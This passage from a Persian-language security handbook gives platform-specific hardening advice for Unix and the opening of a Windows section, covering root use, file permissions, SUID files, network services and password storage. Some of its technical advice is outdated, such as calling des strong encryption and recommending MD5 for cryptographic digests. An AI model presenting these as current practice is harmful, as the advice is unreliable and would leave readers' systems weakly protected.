۳. آیا نیازمند به‌روزرسانی طرح "ترمیم از سوانح" خود برای استفاده از تجربیات این واقعه هستید؟
۴. آیا نیاز به بازرسی و اصلاح نرم‌افزارها یا پیکربندی سیستمهای تحت کنترل خود یا سایر پایگاههای وابسته دارید؟
۵. آیا ادارهٔ روابط عمومی شما باید در این رابطه یک گزارش رسمی (در داخل یا خارج از سازمان) منتشر کند؟

پاسخهای شما سؤالات بالا بسته به موقعیت سازمان و اهمیت رخداد امنیتی می‌تواند کاملاً متفاوت باشد.

فصل دهم
نکات ویژهٔ بسترهای مختلف

کلیات

بیشتر مطالب این کتاب می‌تواند برای هر نوع سخت‌افزار یا سیستم‌عامل بکار رود. در این بخش به توصیه‌های فنی خاص برای سیستم‌عاملهای Unix و Linux، Microsoft Windows، و MacOS 7-9 می‌پردازیم. (مطالب مربوط به MacOS X در قسمت مربوط به Unix گنجانده شده‌اند.)

Unix و سیستم‌عاملهای مشابه[۳۴۶]

در گذشته سیستمهای مبتنی بر Unix در محیطهای بزرگ، چندکاربره، اشتراک زمانی، و یا در clusterهایی از ایستگاههای کاری با سیستم فایل شبکه‌ای آرایش داده می‌شدند. امروزه سیستمهای مبتنی بر Unix بصورت روزافزونی بعنوان ایستگاههای کاری یا سرویس‌دهنده‌های تک‌کاربره مورد استفاده قرار می‌گیرند.

از آنجاکه نسخه‌های مختلف زیادی از سیستم‌عاملهای مشابه Unix وجود دارند، بسیاری از مکانیزمهای امنیتی برای کاربرد روی هر نسخهٔ Unix، اختصاصی است و شما باید توضیحات مربوط به نسخهٔ Unix خاصی که مورد استفادهٔ شما است را بخوانید. چندین کتاب، پایگاه وب، و فهرستهای خوب پستی مربوط به امنیت Unix در ضمیمهٔ دوم تا پنجم کتاب آورده شده‌اند.

کاربران، گروهها، و ابرکاربر

بخش عمده‌ای از امنیت Unix بر پایهٔ جداسازی کاربران و گروههای کاربری از یکدیگر است. در Unix تمام فایلها و پردازه‌ها، یک شناسهٔ گروه و یک شناسهٔ کاربری مؤثر دارند که مشخص‌کنندهٔ امتیازات دسترسی آنها است. هیچ دو کاربری نباید از یک شناسهٔ کاربری واحد یا حساب کاربری مشترک استفاده کنند؛ بلکه حسابهای کاربری باید مجزا باشند و در مواردی که حقوق دسترسی فایلها برای تعدادی از کاربران یکسان است باید از "گروههای کاربری" استفاده شود.

در سیستمهای مشابه Unix، کاربر root (که UID آن برابر صفر می‌باشد) "ابرکاربر" است و معمولاً توانایی ایجاد تغییر در هر جنبهٔ سیستم را دارد. با توجه به این امر، در امنیت سیستمهای Unix محافظت از حساب کاربری root و پردازه‌هایی که با امتیازات root اجرا می‌شوند از اهمیت ویژه‌ای برخوردار است. از بکاربردن حساب کاربری root برای انجام فعالیتهای روزمره و معمولی اجتناب کنید، و امکان ورود آن به سیستم را غیرفعال سازید و هنگام نیاز به استفاده از حساب کاربری root، از دستور su (یا گونه‌های دیگر آن مثل sudo) استفاده نمایید تا بتوانید سطح دسترسی خود را از سطح یک حساب کاربری معمولی به سطح دسترسی حساب کاربری root تبدیل کنید. با این روش هم می‌توانید از ثبت استفاده کنید و هم مهاجم مجبور خواهد بود برای در اختیار گرفتن دسترسیِ ابرکاربر، دو حساب کاربری را تسخیر کند. واضح است که استفاده از دستوراتی مانند su را نیز باید محدود کنید؛ در برخی سیستمها فقط کاربران گروه wheel می‌توانند از su استفاده کنند.

---

۳۴۶ *در سرتاسر این قسمت عبارتهای "Unix" و "سیستمهای مبتنی بر Unix" به یک معنی بکار رفته‌اند. هرچند معمولاً از واژهٔ Unix استفاده شده است، اما این اطلاعات برای Linux و سایر گونه‌های Unix نیز قابل استفاده هستند.*

بعضی نسخه‌های Unix حتی می‌توانند در حالت عادی اجرای سیستم، اختیارات کاربر root را با استفاده از قابلیتها یا سطوح امنیتی هسته محدود کنند. مستندات محصول خود را مورد بررسی قرار دهید و اگر از این قابلیت برخوردار است از آن استفاده نمایید. اگر فایلهای داده‌ای حساسی دارید بهتر است آنها را رمزگذاری و از آنها روی رسانه‌های قابل حمل نگهداری کنید تا درصورت دستکاری‌شدن حساب root، از لو رفتن آنها جلوگیری کرده باشید. توجه کنید که اگر برنامهٔ رمزگشایی نیز روی همان سیستم وجود داشته باشد، رمزگذاری فایلها فایده‌ای ندارد، چون مهاجمی که دسترسی ابرکاربری داشته باشد می‌تواند با استفاده از آن برنامه، یک نسخهٔ رمزگشایی‌شده از فایلها را نیز بدست آورد.

امنیت سیستمهای فایل

هر فایل در Unix یک "مالک" و یک "گروه" دارد. برای تعیین اینکه مالک فایل، اعضای گروه فایل و سایر افراد چه کارهایی می‌توانند با فایل انجام دهند از دستور chmod استفاده می‌شود. کارهایی که یک کاربر می‌تواند برای انجام آن مجوز داشته باشد عبارتند از خواندن محتویات فایل، نوشتن در فایل و اجرای فایل بعنوان یک برنامهٔ اجرایی. از مجوزهای شاخه‌ها برای این استفاده می‌شود که تعیین کنند چه کسی می‌تواند فایلهای درون شاخه را ببیند و یک فایل را از شاخه حذف یا به آن اضافه کند. نحوهٔ استفاده از chown، chgrp و chmod برای کنترل دسترسی به فایلها و ls برای نمایش اطلاعات دسترسی فایلها را بیاموزید.

متغیر umask به ازای هر کاربر در Unix یک مقدار دارد. مقدار این متغیر برای فایلها و شاخه‌هایی که کاربر ایجاد می‌کند مجوزهای پیش‌فرض را تعیین می‌نماید. می‌توانید از دستور umask در قطعه‌برنامهٔ ورود کاربران استفاده کنید تا از مقدارگیری مناسب آن برای کاربران مطمئن باشید. مثلاً مقدار 027 فقط به *سایرین*[۳۴۷] درون گروه کاربر، اجازهٔ خواندن و اجرا و نه ایجاد تغییر در فایلها را می‌دهد و مقدار 077 جلوی دسترسی همه به فایلها به جز خود کاربر را می‌گیرد.

برخی سیستمهای Unix امکان تعریف فهرستهای کنترل دسترسی (ACL) دقیقتری برای فایلها دارند. با ACLها می‌توان اجازه و عدم اجازهٔ تک تک کاربران در خواندن، نوشتن، و اجرای فایلها را مشخص کرد. اگر سیستم شما امکان استفاده از ACL را دارد، نحوهٔ عملکرد و استفاده از آنرا بیاموزید.

برخی سیستمهای Unix امکان تعریف صفات "تغییرناپذیر" و "فقط اضافه‌کردنی" برای فایلها دارند. یک فایل تغییرناپذیر را حتی با کاربر root هم نمی‌توان تغییر داد، مگر آنکه سیستم را در حالت امنیت پایین و از طریق خود پایانهٔ آن (و نه دسترسی راه دور) راه‌اندازی کرده باشید. در فایلهای فقط اضافه‌کردنی تنها می‌توان مطالبی به انتهای فایل اضافه کرد و این فایلها به شکل دیگری قابل تغییر یا حذف نیستند. فایلهای ثبت کاندیداهای خوبی برای استفاده از این صفت می‌باشند. اگر سیستم شما این قابلیتها را دارد از آنها استفاده کنید.

در Unix فایلهایی که دارای مجوز setuid (SUID) باشند با دسترسیهای شناسهٔ کاربری "مالک" خود اجرا می‌شوند و نه کاربری که آنها را اجرا می‌کند. کاربر فایلهای SUID می‌تواند دستوراتی اجرا کند که نیاز به امتیازات یک کاربر دیگر (معمولاً root) دارند و به همین دلیل این فایلها یک نقطهٔ آسیب‌پذیری می‌باشند. فایلهای setgid (SGID) با دسترسیهای گروهیِ گروه خود اجرا می‌شوند و نه گروه کاربری که آنها را اجرا می‌کند. شما باید متناوباً فایلهای SUID و SGID سیستم خود را بررسی کنید و مطمئن شوید که در مورد هریک از آنها می‌دانید چرا با این مجوزها کار می‌کنند. پیشنهاد می‌شود همواره یک نسخهٔ چاپی از آنها داشته باشید. خودتان هیچگاه برنامه یا قطعه‌برنامه‌های پوسته‌ای را بصورت SUID یا SGID ننویسید. برخی سیستمهای فایل را می‌توان بگونه‌ای mount کرد که قابلیتهای SUID و SGID در آنها غیرفعال باشد (بصورت nosuid). Mount کردن شاخه‌های کاربران و سایر بخشهای غیرسیستمی به این صورت راه‌حل مناسبی برای مقابله با این آسیب‌پذیری است.

Unix با تمام وسایل رایانه‌ای بصورت یک فایل برخورد می‌کند. برای مثال می‌توان به چاپگرها، پورتهای سریال، دیسکهای سخت، و حتی حافظهٔ سیستم از طریق *فایلهای وسیله*[۳۴۸] دسترسی داشت. هرچند فایلهای وسیله عموماً در شاخهٔ /dev وجود دارند، اما کاربری که دارای امتیازات کافی باشد (معمولاً ابرکاربر) می‌تواند آنها را در هر جایی بسازد. اگر یک کاربر غیرمجاز بتواند از حافظهٔ سیستم بخواند، می‌تواند به اطلاعات حساس سایر کاربران دسترسی پیدا کند؛ و اگر بتواند در حافظهٔ سیستم بنویسد، می‌تواند سیستم را دستکاری نماید. در مورد وسایلی که بصورت خام (بدون دخالت سیستم فایل) داده‌های دیسک را دستکاری می‌کنند و بسیاری از سایر انواع وسایل نیز باید احتیاطهای مشابهی را اعمال کرد. سیستم خود را وارسی کنید و مطمئن شوید که مالکیت و مجوزهای فایلهای وسیله، صحیح هستند. اگر می‌توانید سیستم فایل خود را بگونه‌ای mount کنید که وسایل در آن غیرفعال باشد (بصورت nodev)، در شرایطی که امکان آن وجود دارد از این ویژگی استفاده نمایید. در برخی سیستمها یک فایل به نام logindevperm یا fbtab وجود دارد که کنترل می‌کند وقتی کاربری از خود پایانه (و نه از راه دور) وارد رایانه می‌شود، مجوزهای وسایل چگونه تغییر می‌کنند (مثلاً برای جلوگیری از اینکه یک کاربر راه دور نتواند میکروفون را روشن کند و اتاق را تحت نظر بگیرد). اگر چنین فایلی در سیستم وجود دارد از تنظیمات صحیح آن اطمینان حاصل کنید.

رمزگذاری

دستورات متعددی در Unix برای غیرقابل خواندن کردن داده‌ها وجود دارند، ولی برای رمزگذاری مناسب نیستند. از rot13 یا crypt استفاده نکنید، چون براحتی شکسته می‌شوند. در سیستمهای زیادی با استفاده از دستور des یا برنامه‌ها و کتابخانه‌های openssl می‌توان به یک روش رمزگذاری مستحکم دست یافت. برای استحکام بیشتر سرجمع‌ها می‌توانید به دستور sum اتکا نکنید و درعوض برای تولید خلاصه‌های رمزنگاری از md5، md5sum، یا openssl استفاده نمایید.

شبکه‌های TCP/IP

غالباً از سیستمهای Unix برای کاربردها و خدمات شبکه استفاده می‌شود. بسیاری از خدمات شبکه توسط inetd (یا xinetd) راه‌اندازی می‌شوند. فایلهای پیکربندی این daemon را بررسی کنید و خدمات غیرضروری را غیرفعال نمایید؛ سایر خدمات را با یک tcpwapper daemon به نام tcpd محافظت کنید، مگر در حالتی که inetd خودش از پوششهای TCP پشتیبانی کند.

هنگام روشن‌شدن سیستم، سایر خدمات شبکه از طریق فایلهای درون شاخه‌های /etc/init.d یا /etc/rc*.d یا فایلهای /etc/rc و /etc/rc.local راه‌اندازی می‌شوند. اگر از سرویسی استفاده نمی‌کنید آنرا غیرفعال سازید. به خدماتی مثل fingerd که در رابطه با سیستم یا کاربران آن به افراد بیرونی اطلاعات می‌دهند توجه خاص داشته باشید.

هر سیستم Unix برای غربال کردن بسته‌ها باید دیوارهٔ آتش مبتنی بر میزبان مخصوص به خود را داشته باشد. برای اطلاع از وجود و نحوهٔ بکارگیری دیوارهٔ آتش در سیستم خود به مستندات آن رجوع کنید. ابزارهای معمول پیکربندی دیوارهٔ آتش عبارتند از ipfw، ipchains و iptables. این دیواره‌های آتش را باید طوری تنظیم کرد که فقط به بسته‌هایی اجازه عبور دهند که مقصدشان خدماتی باشد که می‌خواهید ارائه دهید. برای جلوگیری از دسترسی افراد بیرونی به پروتکلها و خدماتی که درون سازمان خود ارائه می‌دهید (مانند SNMP، NFS، NTP، LPD، Samba، RIP) نیز باید یک دیوارهٔ آتش خارجی به کار گرفته شود. درصورت امکان از *مسیریابی ایستا*[۳۴۹] استفاده کنید.

در گذشته خدمات استاندارد زیادی برای انجام تصدیق هویت از نام میزبان یا آدرس IP مشتری و یا با رمزهای عبوری که بصورت متن‌ساده روی اتصالات شبکه فرستاده می‌شدند استفاده می‌کردند. هیچکدام از این روشها امن نیستند. برنامه‌ها باید از رویکردهای رمزنگاری با کلیدهای مشترک یا کلیدهای عمومی برای تصدیق هویت استفاده کنند. امروزه تصدیق هویت برنامه‌های زیادی را می‌توان غیرفعال کرد (telnet، rlogin، rcp، rsh، ftp) تا بجای همهٔ آنها از پوستهٔ امن (ssh) که دارای یک مکانیزم مستحکم برای

348 *Device Files*
349 *Static Routing*

تصدیق هویت است استفاده نمود. اینکار را انجام دهید و در فایلهای rhosts. یا /etc/hosts.equiv تمام سطرهایی را که آدرسهای IP ماشینهای مورد اعتماد را مشخص می‌کنند حذف کنید. خدمات دیگر (pop، imap، http، ldap) را با کتابخانه‌های OpenSSL کامپایل کنید تا از اتصالات SSL/TLS با مشتریان استفاده کنند و درنتیجه رمزهای عبور بصورت رمزگذاری‌نشده فرستاده نشوند.

در موقعیتهایی که امکان آن وجود دارد، خدمات شبکه‌ای را تحت حساب کاربری کاربران غیر root اجرا کنید. Daemonهای شبکه‌ای بسیاری را می‌توان طوری پیکربندی کرد که ابتدا با root راه‌اندازی شوند (تا بتوانند به پورتی پایینتر از ۱۰۲۴، bind شوند، چون اینکار در اکثر سیستمهای Unix نیاز به امتیازات root دارد) و سپس امتیازات خود را از دست بدهند و تحت حساب کاربری یک کاربر غیر از root به کار خود ادامه دهند. بجای استفاده از تنها یک حساب کاربری مشترک برای deamonها (nobody)، به هر daemon یک حساب غیر root مخصوص به خودش را اختصاص دهید. اگر امکان آن وجود دارد خدمات شبکه‌ای را در محیط chroot محصور کنید تا درصورت دستکاری‌شدن، صدمات وارده را به حداقل رسانده باشید.

اگر خدمات FTP ناشناس ارائه می‌دهید، از یک نسخهٔ به روز FTP daemon استفاده کنید. فایل اصلی /etc/passwd خود را در محدودهٔ FTP قرار ندهید. اطمینان حاصل کنید که در فایل /etc/ftpusers فهرست کاربرانی که نمی‌توانند به FTP وصل شوند شامل کاربرانی چون root، uucp، bin و هر حساب کاربری دیگری که متعلق به یک انسان واقعی نیست هم باشد. نسبت به مجوزها و مالکیت شاخه‌های درون محدودهٔ FTP همواره هوشیار باشید. شاخه‌های ورودی را طوری تنظیم کنید که اجازهٔ download ندهند و شاخه‌های خروجی را بگونه‌ای پیکربندی کنید که مانع upload شوند، و ثبتهای مربوط به FTP را نیز بطور منظم مورد بررسی قرار دهید.

درصورت امکان به جای sendmail از postfix، exim، یا qmail بعنوان سرویس‌دهندهٔ پست الکترونیکی استفاده کنید. هیچ ویرایشی از برنامهٔ MTA خود جز آخرین ویرایش آنرا بکار نبرید. برای اطمینان از اینکه نامه‌های الکترونیکی مربوط به حسابهای مجاز غیرکاربری به یک کاربر واقعی تحویل می‌شوند از "mail alias"ها استفاده کنید؛ بعبارت دیگر از تحویل نامه‌ها به آدرسهای root، postmaster و abuse مطمئن شوید. از ایجاد تغییرات در فایل مربوط به "mail alias"ها توسط افراد غیرمجاز محافظت کنید. اگر "mail alias"هایی دارید که نامه‌ها را به برنامه‌ها یا فایلها می‌رسانند، آنها را به دقت مورد بررسی قرار دهید و درصورت امکان آنها را حذف کنید.

اگر ماشینهای چندکاربره دارید، حتماً روی آن deamonهای authd و identd را به اجرا در آورید. انجام اینکار وقتی مفید است که گزارشی دریافت کنید مبنی بر اینکه کسی با واسطه قرار دادن از سیستمهای شما به سیستم دیگری حمله کرده است. نسخه-هایی را مورد استفاده قرار دهید که مشخصه‌های رمزگذاری‌شده باز می‌گردانند تا از افشای اطلاعات کاربران خود به خارج از سیستم جلوگیری کرده باشید.

اگر از RPC استفاده نمی‌کنید portmapper daemon را غیرفعال کنید، و اگر از آن استفاده می‌کنید دسترسی به آنرا محدود نمایید و قابلیت securenets را درصورت وجود مورد استفاده قرار دهید. هر سرویس RPC ارائه شده توسط inetd که استفاده نمی‌کنید (و مخصوصاً rexd) را غیرفعال کنید. اگر Secure RPC روی سیستم شما وجود دارد از آن استفاده نمایید. تنها تکیه‌گاه معقول برای NIS+ و NFS، Secure RPC می‌باشد. از بکارگیری NIS یا NIS+ در *حالت سازگاری*[۳۵۰] اجتناب کنید. درصورت نیاز به NFS از ویرایش ۳ آن در حالت TCP استفاده کنید و تعداد سیستمهای فایلی که می‌توان صادر کرد و مجموعهٔ میزبانهایی که می‌توانند آنها را mount کنند را محدود نمایید. سعی کنید سیستمهای فایل را بصورت فقط خواندنی صادر کنید. NFS اجازه نمی‌دهد فایلهایی که مالکشان root است توسط root ماشین سرویس‌گیرنده تغییر کنند، مگر اینکه صریحاً خلاف آنرا ذکر کرده باشید. بنابراین بهتر است حساب کاربری کاربر root مالک تمام فایلها و شاخه‌های صادرشده باشد و نه حساب کاربری دیگری (مانند bin) که ممکن است همنام آن روی سرویس‌گیرنده نیز وجود داشته باشد.

350 Compatibility Mode

درصورت استفاده از X11، قویترین مکانیزم ممکن برای تصدیق هویت را بکار بگیرید. Kerberos یا "Secure RPC" سیستمهای مستحکمی برای تصدیق هویت هستند و "Magic Cookies" ضعیفتر از آنها است، و برنامهٔ xhost نیز از کمترین حد امنیت برخوردار است. تونل‌زدن اتصالات X11 از طریق SSH نیز محافظت خوبی ایجاد می‌کند.

اگر سرویس SMB را از طریق Samba ارائه می‌دهید، امنیت "کاربر" یا "دامنه" را بر امنیت "اشتراک" اولویت دهید. رمزهای عبور رمزگذاری‌شده را فعال کنید و با استفاده از قابلیت "min protocol" در Samba سرویس‌گیرنده‌ها را مجبور به استفاده از آخرین ویرایش پروتکل SMB نمایید. از گزینهٔ "admin user" استفاده نکنید و یا اگر هم اینکار را می‌کنید، بیت آرشیو DOS را به "قابل اجرا" (در Unix) تبدیل نمایید. نحوهٔ استفاده از گزینهٔ "veto files" را نیز بیاموزید.

چشم از شبکهٔ خود بر ندارید. خروجیهای netstat و lsof را بطور منظم بررسی کنید تا ببینید چه اتصالات شبکه‌ای از و به سیستم شما ایجاد شده است. از who و last برای دیدن اتصالات کاربران استفاده کنید. با استفاده از nmap، Nessus، ISS و سایر پویشگرهای امنیت شبکه، سیستم خود را از بیرون کاوش کنید تا آسیب‌پذیریهای احتمالی که باید اصلاح شوند را پیدا کنید. شاید بهترین کار برای بعضی ماشینها جداسازی کامل آنها از شبکه باشد.

محافظت از حسابهای کاربری

اولین خط دفاعی برای حسابهای کاربری در Unix رمزهای عبور آنان است. سیستمهای Unix رمزهای عبور را بصورت متن‌ساده ذخیره نمی‌نمایند، بلکه از یک *درهم‌ریزی رمزنگاری*[۳۵۱] استفاده می‌کنند که قابل بازگشت به اصل رمز عبور نیست. وقتی کاربری می‌خواهد وارد سیستم شود، درهمریختهٔ آنچه بعنوان رمز عبور وارد شده محاسبه می‌شود و با مقدار ذخیره‌شدهٔ قبلی مقایسه می‌گردد.

سیستمهای قدیمی‌تر Unix اطلاعات حسابها و رمزهای عبور رمزگذاری‌شده را در فایل /etc/passwd ذخیره می‌کردند. این فایل باید توسط همه قابل خواندن می‌بود تا پردازه‌ها بتوانند شناسه‌های کاربری را با نام کاربر تطبیق دهند. متأسفانه این به معنی توانایی نسخه‌برداری از این فایل توسط کاربران محلی (یا حتی سایرین) بود که تلاش می‌کردند با رمزنگاری کلمات عام لغتنامه، نامهای کاربران، و غیره، و مقایسهٔ آنها با مقادیر ذخیره‌شده در فایل، بسیاری از رمزهای عبور را کشف کنند.

سیستمهای جدیدتر Unix هم همچنان از /etc/passwd برای نگهداری اطلاعات عمومی حسابهای کاربری استفاده می‌کنند، ولی اطلاعات رمزهای عبور رمزگذاری‌شده را در فایل /etc/shadow (یا گاهی /etc/passwd/adjunct) ذخیره می‌کنند که تنها با دسترسی حساب کاربری root قابل خواندن است.

بسیاری از سیستمهای Unix خود دارای تعدادی حساب کاربری برای جداسازی امتیازات مالکیت فایل و پردازه می‌باشند، مانند daemonها، bin، uucp، و غیره. اطمینان حاصل کنید که قسمت مربوط به رمزهای عبور رمزشده برای تمام این حسابها با کاراکتر "*" شروع شده و درنتیجه دسترسی به آنها با هیچ رمز عبوری ممکن نیست. ذیلاً قطعه‌ای از یک فایل /etc/shadow را می‌بینید:

```
root:$1$24g7KF8j$Rjky384Fd1PvtSCOJ/WW.1:12264:0:99999:7:::134551156
bin: *:10890:0:99999:7:::
daemon:*:10890:0:99999:7:::
adm:*:10890:0:99999:7:::
lp:*:10890:0:99999:7:::
sync:*:10890:0:99999:7:::
shutdown:*:10890:0:99999:7:::
halt:*:10890:0:99999:7:::
```

351 *Cryptographic Hash*

در این مثال تنها حساب root دارای یک رمز عبور معتبر می‌باشد و هیچ کس نمی‌تواند به حسابهای دیگر وارد شود (هرچند root می‌تواند درصورت نیاز با دستور su امتیازات آنها را اختیار کند). بسیاری از سیستمها را می‌توان طوری پیکربندی کرد که رمزهای عبور بعد از مدت زمان مشخصی منقضی شوند تا در مقابل استفادهٔ همیشگی یک مهاجم از یک حساب کاربری بدون آگاهی مالک آن محافظت ایجاد شود. برای رمزهای عبور خود طول عمری میان یک تا شش ماه انتخاب کنید. در بسیاری از سیستمها می‌توانید الزام کنید که رمزهای عبور از شرایط خاصی (از نظر طول، تنوع کاراکترها، و غیره) تبعیت کنند. سیستمهایی که از این قابلیت پشتیبانی می‌کنند معمولاً از طریق PAM قابل دسترسی هستند.

استفاده نکردن از حسابهای کاربری پیش‌فرض و مهمان اقدام مناسبی است، اما اگر مجبور به استفاده از آنها هستید، از پوسته‌های محدودشده rsh یا rbash استفاده کنید تا محدود به اجرای تعداد کمی از دستورات باشند (این مسئله را با *سرویس‌گیرندهٔ پوسته راه دور*[۳۵۲] به نام rsh اشتباه نگیرید). مراقب باشید که هیچکدام از آن دستورات، امکان دسترسی به پوسته‌های نامحدود (که بسیاری از ویرایشگرها دارند) نداشته باشند.

محافظت در برابر تهدیدات برنامه‌ای

هرگز نرم‌افزارهای جدید را تحت حساب کاربری root غیرفشرده یا کامپایل نکنید. نرم‌افزارها را معمولاً می‌توانید در محیط chroot کامپایل نمایید تا در برابر برخی انواع اسبهای تراوا مصون بمانید.

مراقب متغیر محیطی PATH (علی‌الخصوص در مورد کاربر root) باشید. متغیر PATH شاخه‌هایی را مشخص می‌کند که وقتی دستوری بدون مسیر مطلق داده می‌شود بررسی می‌شوند. PATH برای root تنها باید شامل شاخه‌های استانداردی باشد که فقط حسابهای مورد اعتماد می‌توانند در آنها بنویسند و نیز باید بطور منظم برای کشف تغییرات ممیزی شود (با استفاده از نرم‌افزارهایی مانند Tripwire یا AIDE). شاخه جاری (".") را در PATH قرار ندهید، چون در اینصورت مهاجمان براحتی می‌توانند root را فریب داده و به اجرای تراواهای خود وادار کنند. وقتی با root کار می‌کنید، خود را به تایپ کردن مسیر کامل دستورات مهم (مانند /bin/su) عادت دهید. همچنین در نوشتن قطعه‌برنامه‌های پوسته، فایلهای راه‌اندازی و یا "cron job"ها نیز مسیر کامل را بنویسید.

جلوگیری از حملات تخریب سرویس

سیستمهای Unix روشهای محافظتی زیادی در برابر حملات تخریب سرویس ارائه می‌دهند. بسیاری سیستمها از طریق PAM یا سایر فایلهای ورود، به ازای هر کاربر محدودیتهایی در استفاده از ریزپردازنده و حافظه قرار می‌دهند، و با استفاده از سیستم quota نیز محدودیتهایی در استفاده از دیسک. این قابلیتها را فعال کنید.

پردازه‌ها و حافظه

دستور ps پردازه‌های درحال اجرای سیستم را نشان می‌دهد (در نسخه‌های مبتنی بر BSD، دستور ps –auxw و در نسخه‌های مبتنی بر SVR5، دستور ps –elf). هر پردازه یک "شمارهٔ شناسهٔ پردازه" دارد که در دستوراتی که با پردازه‌های درحال اجرا کار می‌کنند استفاده می‌شود.

مراقب پردازه‌های درحال اجرای کاربران باشید. با استفاده از برنامه‌هایی مانند top و lsof به طور منظم پردازه‌های در حال اجرا در سیستم و اینکه چه کسی آنها را اجرا کرده را بررسی کنید. حسابداری پردازه‌ها را فعال کنید تا سابقهٔ پردازه‌هایی که در گذشته در سیستم اجرا شده‌اند و کاربرانی که زمان پردازش زیادی استفاده کرده‌اند را داشته باشید.

352 *Remote Shell Client*

دستورات nice و renice برای کم کردن اولویت پردازه‌ها در استفاده از ریزپردازنده کاربرد دارند و برای کارهای طولانی پس‌زمینه مفید هستند. علاو بر آن، root می‌تواند از nice برای زیادکردن اولویت ریزپردازنده برای پردازه‌ها استفاده کند. این عمل وقتی مفید است که پردازه‌های کاربران سرعت سیستم را کم کرده باشند و root به زمان ریزپردازنده بیشتری نیاز داشته باشد.

دستور kill برای فرستادن سیگنال به پردازه‌ها بکار می‌رود. برخی سیگنالها برای مطلع کردن daemonها از یک تغییر در سیستم بکار می‌روند و یا به آنها می‌گویند که برای اعمال تنظیمات جدید، فایل پیکربندی را دوباره بخوانند. از سیگنالهای دیگر می‌توان برای معلق کردن یا خاتمه دادن به پردازه‌ها استفاده کرد. سیگنال TERM (که بطور پیش‌فرض با "kill process-id" یا صریحاً بصورت "kill –TERM process-id" فرستاده می‌شود) معمولاً پردازه را خاتمه می‌دهد؛ و سیگنال kill بدون هیچ شرطی به پردازه پایان می‌دهد. سیگنال TSTP یک پردازه را معلق می‌کند، و وقتی مفید است که با هدف انجام تحقیقات بخواهید تصویری از حافظه پردازه با دستور gcore بگیرید، یا هنگامیکه پردازه‌هایی که خود را منتشر می‌کنند تمام فضای پردازه‌ها را پر کرده باشند. در مورد دوم، می‌توانید ابتدا هر پردازه را معلق کنید و سپس همه را یکجا بکشید، طوریکه دیگر نتوانند تخم‌ریزی و تولیدمثل کنند.

سیستمهای Unix از حافظه مجازی (که از قدیم به فضای swap معروف است) پشتیبانی می‌کنند. وقتی پردازه‌های درون سیستم حافظه‌ای بیشتر از RAM موجود نیاز دارند، فضایی از دیسک که به swap اختصاص داده شده است بکار گرفته می‌شود. مراقب باشید که روی partitionهای دیسک خود فضای swap کافی داشته باشید. (برخی از سیستمهای Unix می‌توانند برروی فایلهایی در partitionهای با سیستم فایلهای استاندارد نیز swap کنند، هرچند کارایی پایین می‌آید.)

دیسکها

علاوه بر سیستم quota، partitionهای حیاتی را از partitionهایی که ممکن است تصادفاً یا عمداً پر شوند (مانند mail spool یا partitionهای مخصوص upload کردن فایل) جدا سازید. دقت کنید که در هر partition، فضا و inodeهای کافی برای ذخیرهٔ فایلها موجود باشد. بر مصرف دیسک نظارت داشته باشید و کاربران را به بایگانی کردن فایلهای قدیمی در دیسکهای فشرده و نوری و حذف آنها از روی دیسک سخت تشویق کنید.

سیستم‌عاملهای مایکروسافت

سیستم‌عاملهای مایکروسافت با تأکید بر رایانه‌های انفرادی و بدون درنظر گرفتن شبکه آغاز به کار کردند، اما بعد از مدت کوتاهی (ابتدا با استفاده از پروتکلهای اختصاصی و سپس با TCP/IP) بصورت شبکه نیز بکار گرفته شدند. سیستمهای مبتنی بر Windows 3.x و Windows 95/98/ME عموماً بعنوان ایستگاههای کاری سرویس‌گیرنده مناسب هستند؛ بر خلاف آن سیستمهای مبتنی بر Windows NT (از جمله Windows 2000 و Windows XP) غالباً بعنوان سرویس‌دهنده پیکربندی می‌شوند و کنترلهای امنیتی بسیار پیشرفته‌تری دارند.[۳۵۳] تفاوتهای نسخه‌های مختلف Windows می‌تواند فاجعه‌آمیز باشد. اگر در محیطی باشید که در آن از چند نگارش مختلف Windows استفاده می‌شود، هر نسخه توجهات و تدابیر خاص خودش را لازم دارد. این قسمت کتاب در درجهٔ اول بر مستحکم کردن سیستمهای مبتنی بر Windows NT تمرکز دارد.

همانند سایر سیستم‌عاملها، هیچ چیز به اندازهٔ خواندن کتابچهٔ راهنما برای آشنایی شما با Windows مفید نیست، اما سایر کتابها، پایگاههای وب، و فهرستهای پستی مخصوص امنیت Windows نیز می‌توانند مطالب غنی و فراوانی برای شما داشته باشند. پایگاه وب مایکروسافت شامل یک بخش بزرگ مربوط به امنیت است که دارای مستندات و ابزارهای مفید زیادی می‌باشد، از جمله

---

۳۵۳ *بر خلاف انتظار، سیستمهای DOS نیز در بعضی شرایط برای مورد استفاده قرار گرفتن بعنوان سرویس‌دهنده گزینهٔ مناسبی هستند. این سیستمها از آنجا که سیستمهای تک‌کاربره هستند و نقاط آسیب‌پذیری اندکی دارند، برای سرویس‌دهنده‌های تک‌منظورهٔ ثبت، پایانه، دیوارهٔ آتش، و حتی DNS گزینهٔ بسیار مناسبی می‌باشند.*

نرم‌افزار *تحلیلگر پایه‌ای امنیت*[۳۵۴] که برنامه‌ای است که پیکربندی سیستمهای مبتنی بر Windows NT را تحلیل می‌کند و توصیه‌هایی برای تقویت آن می‌دهد. پیشنهاد می‌شود این برنامه را هر از چندگاه اجرا کنید.

کاربران، گروهها، و راهبر سیستم

Windows هم از کاربران و گروهها برای کنترل مجوزها استفاده می‌کند. گروههای کاربری معمولاً تواناییهای کاربران خود را تعیین می‌کنند، هرچند کنترل دسترسی جزئی‌تری به ازای هر کاربر نیز ممکن می‌باشد. حساب کاربری راهبر سیستم در گروه راهبران سیستم عضو است و امتیازات ابرکاربر سیستم را در اختیار دارد، و لذا هدف اصلی مهاجمان می‌باشد.

حساب کاربری سیستم که در حالت پیش‌فرض شناسهٔ کاربری آن "administrator" می‌باشد به طرق مختلفی قابل محافظت است. تغییر نام آن به یک نام دیگر می‌تواند موفقیت حملات خودکار را دشوارتر کند (هرچند امکان افشای نام جدید نیز وجود دارد)؛ ساختن یک حساب غیرفعال دروغین به نام administrator می‌تواند به کشف حملاتی که علیه سیستم انجام می‌شوند کمک کند. ورود از راه دور راهبر به سیستم را می‌توان غیرفعال کرد و ورودهای محلی را نیز محدود نمود و تحت نظارت قرار داد.

اینکه چه کاربرانی در چه گروههایی عضو هستند اهمیت زیادی دارد. نرم‌افزار *مدیریت رایانه*[۳۵۵] نمایی از کاربران و گروههای تعریف‌شده در اختیار شما می‌گذارد.

امنیت سیستمهای فایل

